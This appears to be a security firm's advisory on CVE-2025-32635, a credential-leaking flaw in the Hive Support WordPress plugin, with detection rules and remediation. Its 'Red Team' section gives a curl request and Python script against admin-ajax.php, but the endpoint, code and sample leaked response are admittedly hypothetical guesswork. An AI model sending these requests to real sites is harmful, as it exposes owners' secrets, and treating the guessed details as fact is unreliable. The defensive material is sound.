CVE-2025-32635

Executive Summary

CVE-2025-32635 is a critical information disclosure vulnerability affecting the Hive Support WordPress plugin, versions 1.2.6 and earlier. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data from sent data, effectively exposing internal configuration details, API keys, or other secrets that are inadvertently included in the plugin’s output. This is classified as an Insertion of Sensitive Information Into Sent Data (CWE-201) issue, with a CVSS score of 7.5 (High). The plugin is part of the WordPress ecosystem, and exploitation does not require authentication, making it a significant threat to any site running the vulnerable version.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site that has installed Hive Support version 1.2.6 or earlier is potentially compromised. The plugin may be bundled with themes or other plugins, increasing the attack surface. Administrators should immediately audit their WordPress installations for this plugin and apply any available patches or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive data is exposed.
• Integrity Impact: None (I:N) – Data integrity is not affected.
• Availability Impact: None (A:N) – Service availability is not affected.

Threat Level: High. The low attack complexity and lack of authentication requirements make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the Hive Support plugin’s data handling routines. The plugin, designed to provide customer support ticketing, inadvertently includes sensitive information (such as database credentials, API tokens, or internal server paths) in the data sent to the client. This occurs due to improper sanitization or filtering of data before it is included in HTTP responses.

Root Cause: The plugin fails to strip sensitive fields from internal data structures (e.g., configuration arrays, debug logs) before serializing them into the response. An attacker can trigger this by sending a crafted request to a vulnerable endpoint, causing the plugin to output the sensitive data.

Attack Vector: An unauthenticated attacker sends a specially crafted HTTP request to the WordPress site. The request may target an AJAX endpoint or a REST API route that the plugin exposes. The plugin processes the request and, due to the flaw, includes sensitive data in the response.

Impact: The attacker can retrieve:

• Database credentials (username, password, host)
• API keys for third-party services
• Internal file paths
• Debug information that reveals system architecture

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (Hive Support <= 1.2.6):

// In a response handler, the plugin directly outputs the entire configuration array
function hive_support_ajax_handler() {
    $config = get_option('hive_support_config');
    wp_send_json($config); // Sends all config data, including sensitive fields
}

Patched Code (Hypothetical Fix):

function hive_support_ajax_handler() {
    $config = get_option('hive_support_config');
    // Whitelist only non-sensitive fields
    $safe_config = array(
        'public_key' => $config['public_key'],
        'support_email' => $config['support_email']
    );
    wp_send_json($safe_config);
}

The patched version explicitly filters out sensitive fields before sending the response.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Hive Support <= 1.2.6
• Network access to the site

Exploitation Steps:

1. Identify the vulnerable endpoint. Common endpoints include /wp-admin/admin-ajax.php with action hive_support_get_config or similar.
2. Send a crafted request:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
        -d "action=hive_support_get_config"
   

3. The response will contain a JSON object with sensitive data, such as:

   {
     "db_host": "localhost",
     "db_user": "root",
     "db_password": "secret123",
     "api_key": "sk-xxxxx"
   }
   

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {"action": "hive_support_get_config"}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual requests to admin-ajax.php with unknown or suspicious action parameters.
• Look for responses containing patterns like db_password, api_key, or secret.
• Use the detection rules provided in the next section.

Defense:

• Immediately update or remove the Hive Support plugin if version <= 1.2.6 is detected.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action parameters not in a whitelist.
• Restrict access to admin-ajax.php to authenticated users only if possible.

Indicators of Compromise (IOCs)

• File Indicators:
  • Presence of /wp-content/plugins/hive-support/ directory with version file indicating <= 1.2.6.
• Network Indicators:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=hive_support_get_config or similar.
  • Responses containing JSON with keys like db_password, api_key, secret.
• Log Indicators:
  • Web server logs showing repeated requests to admin-ajax.php from the same IP.
  • Error logs showing attempts to access non-existent plugin endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_32635_Hive_Support_Info_Leak {
    meta:
        description = "Detects Hive Support plugin sensitive data leak in HTTP responses"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32635"
    strings:
        $s1 = "db_password" ascii nocase
        $s2 = "api_key" ascii nocase
        $s3 = "hive_support_config" ascii nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: Hive Support Plugin Sensitive Data Leak
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses containing sensitive data from Hive Support plugin
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        sc-status: 200
        response_body|contains:
            - 'db_password'
            - 'api_key'
            - 'hive_support_config'
    condition: selection
falsepositives:
    - Legitimate plugin updates (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32635 Hive Support Sensitive Data Leak"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=hive_support_get_config"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Plugin: If you are running Hive Support version 1.2.6 or earlier, immediately deactivate and delete the plugin from your WordPress installation.
2. Rotate Secrets: If any sensitive data (database passwords, API keys) was exposed, rotate them immediately.
3. Monitor Logs: Review web server and application logs for signs of exploitation.

Long-Term Fix:

• Wait for an official patch from the vendor. Monitor the WordPress plugin repository for updates.
• Implement a Web Application Firewall (WAF) with custom rules to block exploitation attempts.
• Conduct a security audit of all WordPress plugins to ensure no other similar vulnerabilities exist.

Workaround:

• If the plugin is critical and cannot be removed, restrict access to admin-ajax.php using .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  Note: This may break other functionality.

Valters IT
DevSecOps & Cyber Threat Intelligence